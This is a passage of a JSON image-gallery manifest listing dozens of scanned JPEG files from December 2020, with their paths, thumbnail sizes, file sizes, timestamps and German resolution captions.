    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018392_0001.jpg","dates":{"dateTaken":1608392171},"fileDate":"2020-12-19T16:36:11.733Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:11.733Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018400_0001.jpg","image":{"path":"slides\/S22C-620121018400_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018400 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018400_0001.jpg","width":340,"height":260},"fileSize":530716,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018400_0001.jpg","dates":{"dateTaken":1608392173},"fileDate":"2020-12-19T16:36:13.843Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:13.843Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018401_0001.jpg","image":{"path":"slides\/S22C-620121018401_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018401 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018401_0001.jpg","width":340,"height":260},"fileSize":440279,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018401_0001.jpg","dates":{"dateTaken":1608392175},"fileDate":"2020-12-19T16:36:15.995Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:15.995Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018402_0001.jpg","image":{"path":"slides\/S22C-620121018402_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018402 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018402_0001.jpg","width":340,"height":260},"fileSize":170528,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018402_0001.jpg","dates":{"dateTaken":1608392178},"fileDate":"2020-12-19T16:36:18.92Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:18.92Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018412_0001.jpg","image":{"path":"slides\/S22C-620121018412_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018412 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018412_0001.jpg","width":340,"height":260},"fileSize":265449,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018412_0001.jpg","dates":{"dateTaken":1608392180},"fileDate":"2020-12-19T16:36:20.231Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:20.231Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018413_0001.jpg","image":{"path":"slides\/S22C-620121018413_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018413 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018413_0001.jpg","width":340,"height":260},"fileSize":204560,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018413_0001.jpg","dates":{"dateTaken":1608392182},"fileDate":"2020-12-19T16:36:22.263Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:22.263Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018420_0001.jpg","image":{"path":"slides\/S22C-620121018420_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018420 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018420_0001.jpg","width":340,"height":260},"fileSize":466514,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018420_0001.jpg","dates":{"dateTaken":1608392184},"fileDate":"2020-12-19T16:36:24.92Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:24.92Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018421_0001.jpg","image":{"path":"slides\/S22C-620121018421_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121018421 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018421_0001.jpg","width":340,"height":260},"fileSize":449263,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018421_0001.jpg","dates":{"dateTaken":1608392187},"fileDate":"2020-12-19T16:36:27.689Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:27.689Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018422_0001.jpg","image":{"path":"slides\/S22C-620121018422_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018422 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018422_0001.jpg","width":340,"height":260},"fileSize":555377,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018422_0001.jpg","dates":{"dateTaken":1608392188},"fileDate":"2020-12-19T16:36:28.951Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:28.951Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018430_0001.jpg","image":{"path":"slides\/S22C-620121018430_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018430 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018430_0001.jpg","width":340,"height":260},"fileSize":598497,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018430_0001.jpg","dates":{"dateTaken":1608392190},"fileDate":"2020-12-19T16:36:30.314Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:30.314Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018440_0001.jpg","image":{"path":"slides\/S22C-620121018440_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018440 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018440_0001.jpg","width":340,"height":260},"fileSize":350355,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018440_0001.jpg","dates":{"dateTaken":1608392192},"fileDate":"2020-12-19T16:36:32.432Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:32.432Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018442_0001.jpg","image":{"path":"slides\/S22C-620121018442_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018442 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018442_0001.jpg","width":340,"height":260},"fileSize":350626,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018442_0001.jpg","dates":{"dateTaken":1608392194},"fileDate":"2020-12-19T16:36:34.421Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:34.421Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018450_0001.jpg","image":{"path":"slides\/S22C-620121018450_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018450 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018450_0001.jpg","width":340,"height":260},"fileSize":439134,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018450_0001.jpg","dates":{"dateTaken":1608392199},"fileDate":"2020-12-19T16:36:39.79Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:39.79Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018461_0001.jpg","image":{"path":"slides\/S22C-620121018461_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018461 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018461_0001.jpg","width":340,"height":260},"fileSize":661242,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018461_0001.jpg","dates":{"dateTaken":1608392204},"fileDate":"2020-12-19T16:36:44.217Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:44.217Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018463_0001.jpg","image":{"path":"slides\/S22C-620121018463_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018463 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018463_0001.jpg","width":340,"height":260},"fileSize":479314,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018463_0001.jpg","dates":{"dateTaken":1608392207},"fileDate":"2020-12-19T16:36:47.816Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:47.816Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018471_0001.jpg","image":{"path":"slides\/S22C-620121018471_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018471 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018471_0001.jpg","width":340,"height":260},"fileSize":297903,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018471_0001.jpg","dates":{"dateTaken":1608392211},"fileDate":"2020-12-19T16:36:51.91Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:51.91Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018472_0001.jpg","image":{"path":"slides\/S22C-620121018472_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018472 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018472_0001.jpg","width":340,"height":260},"fileSize":295836,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018472_0001.jpg","dates":{"dateTaken":1608392213},"fileDate":"2020-12-19T16:36:53.192Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:53.192Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018480_0001.jpg","image":{"path":"slides\/S22C-620121018480_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018480 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018480_0001.jpg","width":340,"height":260},"fileSize":405454,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018480_0001.jpg","dates":{"dateTaken":1608392214},"fileDate":"2020-12-19T16:36:54.396Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:54.396Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018490_0001.jpg","image":{"path":"slides\/S22C-620121018490_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018490 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018490_0001.jpg","width":340,"height":260},"fileSize":396948,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018490_0001.jpg","dates":{"dateTaken":1608392217},"fileDate":"2020-12-19T16:36:57.758Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:57.758Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018491_0001.jpg","image":{"path":"slides\/S22C-620121018491_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018491 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018491_0001.jpg","width":340,"height":260},"fileSize":470449,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018491_0001.jpg","dates":{"dateTaken":1608392219},"fileDate":"2020-12-19T16:36:59.24Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:59.24Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018492_0001.jpg","image":{"path":"slides\/S22C-620121018492_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018492 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018492_0001.jpg","width":340,"height":260},"fileSize":570726,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018492_0001.jpg","dates":{"dateTaken":1608392220},"fileDate":"2020-12-19T16:37:00.283Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:00.283Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018493_0001.jpg","image":{"path":"slides\/S22C-620121018493_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018493 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018493_0001.jpg","width":340,"height":260},"fileSize":345514,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018493_0001.jpg","dates":{"dateTaken":1608392221},"fileDate":"2020-12-19T16:37:01.540Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:01.540Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018500_0001.jpg","image":{"path":"slides\/S22C-620121018500_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018500 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018500_0001.jpg","width":340,"height":260},"fileSize":582017,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018500_0001.jpg","dates":{"dateTaken":1608392222},"fileDate":"2020-12-19T16:37:02.890Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:02.890Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018501_0001.jpg","image":{"path":"slides\/S22C-620121018501_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018501 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018501_0001.jpg","width":340,"height":260},"fileSize":497174,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018501_0001.jpg","dates":{"dateTaken":1608392224},"fileDate":"2020-12-19T16:37:04.108Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:04.108Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018502_0001.jpg","image":{"path":"slides\/S22C-620121018502_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018502 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018502_0001.jpg","width":340,"height":260},"fileSize":474807,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018502_0001.jpg","dates":{"dateTaken":1608392225},"fileDate":"2020-12-19T16:37:05.347Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:05.347Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018503_0001.jpg","image":{"path":"slides\/S22C-620121018503_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018503 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018503_0001.jpg","width":340,"height":260},"fileSize":362832,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018503_0001.jpg","dates":{"dateTaken":1608392226},"fileDate":"2020-12-19T16:37:06.503Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:06.503Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018504_0001.jpg","image":{"path":"slides\/S22C-620121018504_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018504 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018504_0001.jpg","width":340,"height":260},"fileSize":209105,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018504_0001.jpg","dates":{"dateTaken":1608392227},"fileDate":"2020-12-19T16:37:07.561Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:07.561Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018510_0001.jpg","image":{"path":"slides\/S22C-620121018510_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018510 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018510_0001.jpg","width":340,"height":260},"fileSize":288716,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018510_0001.jpg","dates":{"dateTaken":1608392228},"fileDate":"2020-12-19T16:37:08.872Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:08.872Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018512_0001.jpg","image":{"path":"slides\/S22C-620121018512_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018512 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018512_0001.jpg","width":340,"height":260},"fileSize":207430,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018512_0001.jpg","dates":{"dateTaken":1608392229},"fileDate":"2020-12-19T16:37:09.985Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:09.985Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018513_0001.jpg","image":{"path":"slides\/S22C-620121018513_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018513 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018513_0001.jpg","width":340,"height":260},"fileSize":230953,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018513_0001.jpg","dates":{"dateTaken":1608392231},"fileDate":"2020-12-19T16:37:11.451Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:11.451Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018521_0001.jpg","image":{"path":"slides\/S22C-620121018521_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018521 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018521_0001.jpg","width":340,"height":260},"fileSize":213281,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018521_0001.jpg","dates":{"dateTaken":1608392232},"fileDate":"2020-12-19T16:37:12.598Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:12.598Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018522_0001.jpg","image":{"path":"slides\/S22C-620121018522_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018522 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018522_0001.jpg","width":340,"height":260},"fileSize":473486,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018522_0001.jpg","dates":{"dateTaken":1608392233},"fileDate":"2020-12-19T16:37:13.862Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:13.862Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018524_0001.jpg","image":{"path":"slides\/S22C-620121018524_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018524 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018524_0001.jpg","width":340,"height":260},"fileSize":197198,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018524_0001.jpg","dates":{"dateTaken":1608392234},"fileDate":"2020-12-19T16:37:14.881Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:14.881Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018530_0001.jpg","image":{"path":"slides\/S22C-620121018530_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018530 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018530_0001.jpg","width":340,"height":260},"fileSize":140331,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018530_0001.jpg","dates":{"dateTaken":1608392236},"fileDate":"2020-12-19T16:37:16.505Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:16.505Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018531_0001.jpg","image":{"path":"slides\/S22C-620121018531_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018531 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018531_0001.jpg","width":340,"height":260},"fileSize":510529,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018531_0001.jpg","dates":{"dateTaken":1608392237},"fileDate":"2020-12-19T16:37:17.940Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:17.940Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018533_0001.jpg","image":{"path":"slides\/S22C-620121018533_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018533 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018533_0001.jpg","width":340,"height":260},"fileSize":394319,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018533_0001.jpg","dates":{"dateTaken":1608392241},"fileDate":"2020-12-19T16:37:21.423Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:21.423Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018534_0001.jpg","image":{"path":"slides\/S22C-620121018534_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018534 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018534_0001.jpg","width":340,"height":260},"fileSize":383487,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018534_0001.jpg","dates":{"dateTaken":1608392243},"fileDate":"2020-12-19T16:37:23.537Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:23.537Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018540_0001.jpg","image":{"path":"slides\/S22C-620121018540_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018540 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018540_0001.jpg","width":340,"height":260},"fileSize":335251,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018540_0001.jpg","dates":{"dateTaken":1608392245},"fileDate":"2020-12-19T16:37:25.275Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:25.275Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018541_0001.jpg","image":{"path":"slides\/S22C-620121018541_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018541 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018541_0001.jpg","width":340,"height":260},"fileSize":346345,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018541_0001.jpg","dates":{"dateTaken":1608392249},"fileDate":"2020-12-19T16:37:29.108Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:29.108Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018542_0001.jpg","image":{"path":"slides\/S22C-620121018542_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018542 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018542_0001.jpg","width":340,"height":260},"fileSize":337936,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018542_0001.jpg","dates":{"dateTaken":1608392251},"fileDate":"2020-12-19T16:37:31.120Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:31.120Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018550_0001.jpg","image":{"path":"slides\/S22C-620121018550_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018550 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018550_0001.jpg","width":340,"height":260},"fileSize":619692,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018550_0001.jpg","dates":{"dateTaken":1608392252},"fileDate":"2020-12-19T16:37:32.747Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:32.747Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018552_0001.jpg","image":{"path":"slides\/S22C-620121018552_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018552 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018552_0001.jpg","width":340,"height":260},"fileSize":145385,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018552_0001.jpg","dates":{"dateTaken":1608392253},"fileDate":"2020-12-19T16:37:33.786Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:33.786Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018553_0001.jpg","image":{"path":"slides\/S22C-620121018553_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018553 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018553_0001.jpg","width":340,"height":260},"fileSize":508970,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018553_0001.jpg","dates":{"dateTaken":1608392254},"fileDate":"2020-12-19T16:37:34.824Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:34.824Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018554_0001.jpg","image":{"path":"slides\/S22C-620121018554_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121018554 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018554_0001.jpg","width":340,"height":260},"fileSize":378110,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018554_0001.jpg","dates":{"dateTaken":1608392258},"fileDate":"2020-12-19T16:37:38.77Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:38.77Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018560_0001.jpg","image":{"path":"slides\/S22C-620121018560_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018560 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018560_0001.jpg","width":340,"height":260},"fileSize":732209,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018560_0001.jpg","dates":{"dateTaken":1608392259},"fileDate":"2020-12-19T16:37:39.776Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:39.776Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018561_0001.jpg","image":{"path":"slides\/S22C-620121018561_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018561 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018561_0001.jpg","width":340,"height":260},"fileSize":371636,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018561_0001.jpg","dates":{"dateTaken":1608392260},"fileDate":"2020-12-19T16:37:40.755Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:40.755Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018562_0001.jpg","image":{"path":"slides\/S22C-620121018562_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121018562 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018562_0001.jpg","width":340,"height":260},"fileSize":502438,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018562_0001.jpg","dates":{"dateTaken":1608392271},"fileDate":"2020-12-19T16:37:51.474Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:51.474Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018563_0001.jpg","image":{"path":"slides\/S22C-620121018563_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018563 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018563_0001.jpg","width":340,"height":260},"fileSize":479561,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018563_0001.jpg","dates":{"dateTaken":1608392273},"fileDate":"2020-12-19T16:37:53.910Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:53.910Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018570_0001.jpg","image":{"path":"slides\/S22C-620121018570_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018570 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018570_0001.jpg","width":340,"height":260},"fileSize":653727,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018570_0001.jpg","dates":{"dateTaken":1608392275},"fileDate":"2020-12-19T16:37:55.414Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:55.414Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018572_0001.jpg","image":{"path":"slides\/S22C-620121018572_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018572 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018572_0001.jpg","width":340,"height":260},"fileSize":273826,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018572_0001.jpg","dates":{"dateTaken":1608392276},"fileDate":"2020-12-19T16:37:56.750Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:56.750Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018580_0001.jpg","image":{"path":"slides\/S22C-620121018580_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018580 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018580_0001.jpg","width":340,"height":260},"fileSize":217714,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018580_0001.jpg","dates":{"dateTaken":1608392279},"fileDate":"2020-12-19T16:37:59.329Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:59.329Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018581_0001.jpg","image":{"path":"slides\/S22C-620121018581_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018581 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018581_0001.jpg","width":340,"height":260},"fileSize":346623,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018581_0001.jpg","dates":{"dateTaken":1608392280},"fileDate":"2020-12-19T16:38:00.729Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:00.729Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018582_0001.jpg","image":{"path":"slides\/S22C-620121018582_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018582 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018582_0001.jpg","width":340,"height":260},"fileSize":617351,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018582_0001.jpg","dates":{"dateTaken":1608392281},"fileDate":"2020-12-19T16:38:01.844Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:01.844Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018583_0001.jpg","image":{"path":"slides\/S22C-620121018583_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018583 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018583_0001.jpg","width":340,"height":260},"fileSize":300977,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018583_0001.jpg","dates":{"dateTaken":1608392283},"fileDate":"2020-12-19T16:38:03.713Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:03.713Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018590_0001.jpg","image":{"path":"slides\/S22C-620121018590_0001.jpg","width":566,"height":800},"imageCaption":"

